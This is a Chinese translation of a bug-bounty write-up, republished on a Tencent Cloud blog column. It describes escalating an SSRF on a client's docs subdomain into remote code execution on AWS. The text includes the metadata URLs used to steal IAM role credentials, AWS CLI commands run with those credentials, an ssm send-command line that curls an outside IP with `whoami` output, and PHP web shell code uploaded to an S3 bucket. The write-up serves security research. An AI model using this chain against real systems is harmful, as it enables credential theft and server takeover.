前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >将SSRF升级为RCE

将SSRF升级为RCE

作者头像
Khan安全团队
发布2021-01-11 14:21:55
1.9K0
发布2021-01-11 14:21:55
举报
文章被收录于专栏:Khan安全团队

今天我照例要和大家分享一个新的多汁漏洞。

这个问题是在一个私人客户中发现的,所以我们称之为redacted.com。

探索范围。

在列举客户的域为子域的时候,我发现子域[docs]。我发现子域[docs]。

我出来到这个子域[docs.redact.com]。

寻找带外资源负载。

[docs]子域显示了一些文件和统计资料。

当点击一个统计的照片时,我看到了一种奇怪的,但不是一个神奇的链接:

我首先想到的是把[url]的值改为generaleg0x01.com

然后我注意到了[mimeType]参数,所以编辑了链接,并将值改为这样:

https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11

到现在为止,它只是[带外资源负载]。

验证SSRF:

当检查我的BurpSuite中的请求/响应时,发现响应头[X-Amz-CF-Id]

所以,我已经弄清楚他们是在AWS环境上。

我们需要确保SSRF在这里工作良好。所以我们知道[169.254.169.254]是EC2实例的本地IP地址。

让我们尝试通过导航到[/latest/meta-data/]来访问meta-data文件夹。

SSRF确认。

在EC2环境上冲浪:

让我们检查我们当前的角色 通过导航到 [/latest/meta -data/iam/security -credentials/].

是aws-elasticbeanstalk-ec2-role

什么是AWS Elastic Beanstalk?

AWS Elastic Beanstalk是AWS提供的平台即服务(PaaS),用于部署和扩展各种环境下的Web应用,如Java、.NET、PHP、Node.js、Python、Ruby和Go。

它能自动处理部署、容量调配、负载均衡、自动伸缩和应用健康监控。

抓取需要的数据:

1.进入[/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/]

获取[AccessKeyId,SecretAccessKey,Token]

2.去到[/latest/dynamic/instance-identity/document/]。

获取[instanceId, accountId, region]

配置AWS命令行接口。

打开你的终端:

~# apt install awscli

~# export AWS_ACCESS_KEY_ID=AccessKeyId

~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey

~# export AWS_DEFAULT_REGION=region(区域)

~# export AWS_SESSION_TOKEN=Token

以获得[用户ID]。

~# aws sts get-caller-identity

SSRF利用得很好,现在让我们进一步探索将其升级到更大的东西 "RCE "的可能性。

将SSRF升级到RCE:

我尝试了一些潜在的开发方案

通过[ssm send-command]升级失败。

经过几番研究,尝试使用AWS系统管理器[ssm]命令。

该角色未被授权执行此命令。我希望用aws ssm send-command来升级它。

~# aws ssm send-command -instance-ids "instanceId" -document-name "AWS-RunShellScript" -comment "whoami" -parameters commands='curl 128.199.xx.xx:8080/`whoami`' -output text -region=region

调用SendCommand操作时发生错误(AccessDeniedException)。用户:arn:aws:ts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx未被授权在资源上执行:ssm:SendCommand:arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx

通过[SSH]升级失败

SSH端口被关闭。我希望用著名的场景来升级它。

"创建一个RSA认证密钥对(公钥和私钥)" "以便能够从账户登录到远程站点,而不需要输入密码"

通过[上传后门]升级成功。

试图读取【S3 Bucket】内容。

尝试使用AWS CLI运行多个命令,从AWS实例中检索信息。然而,由于现有的安全策略,大多数命令的访问都被拒绝了。

~# aws s3 ls

调用ListBuckets操作时发生错误(AccessDenied)。访问被拒绝

经过一番研究发现,托管策略 "AWSElasticBeanstalkWebTier "只允许访问名称以 "elasticbeanstalk "开头的S3 bucket。

为了访问S3 bucket,我们将使用之前抓取的数据,格式如下:

elasticbeanstalk-region-account-id.

现在,桶名是 "elasticbeanstalk-us-east-1-76xxxxxxxx00"。

让我们以递归的方式列出 "elasticbeanstalk-us-east-1-76xxxxxxxx00 "的桶资源,以使用AWS CLI执行这个长期运行的任务。

~# aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ -recursive

现在,让我们尝试上传一个后门!

~# cat cmd.php

代码语言:javascript
复制
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

~# aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/

上传: ./cmd.php到s3://docs.redact.com/cmd.php

在这里,我们得到了一个成功的RCE!

简而言之,你可以通过多种方式将服务器端请求伪造升级为远程代码执行。

你可以通过多种方式将服务器端请求伪造升级为远程代码执行 但这取决于你的目标环境。

参考文献:

https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档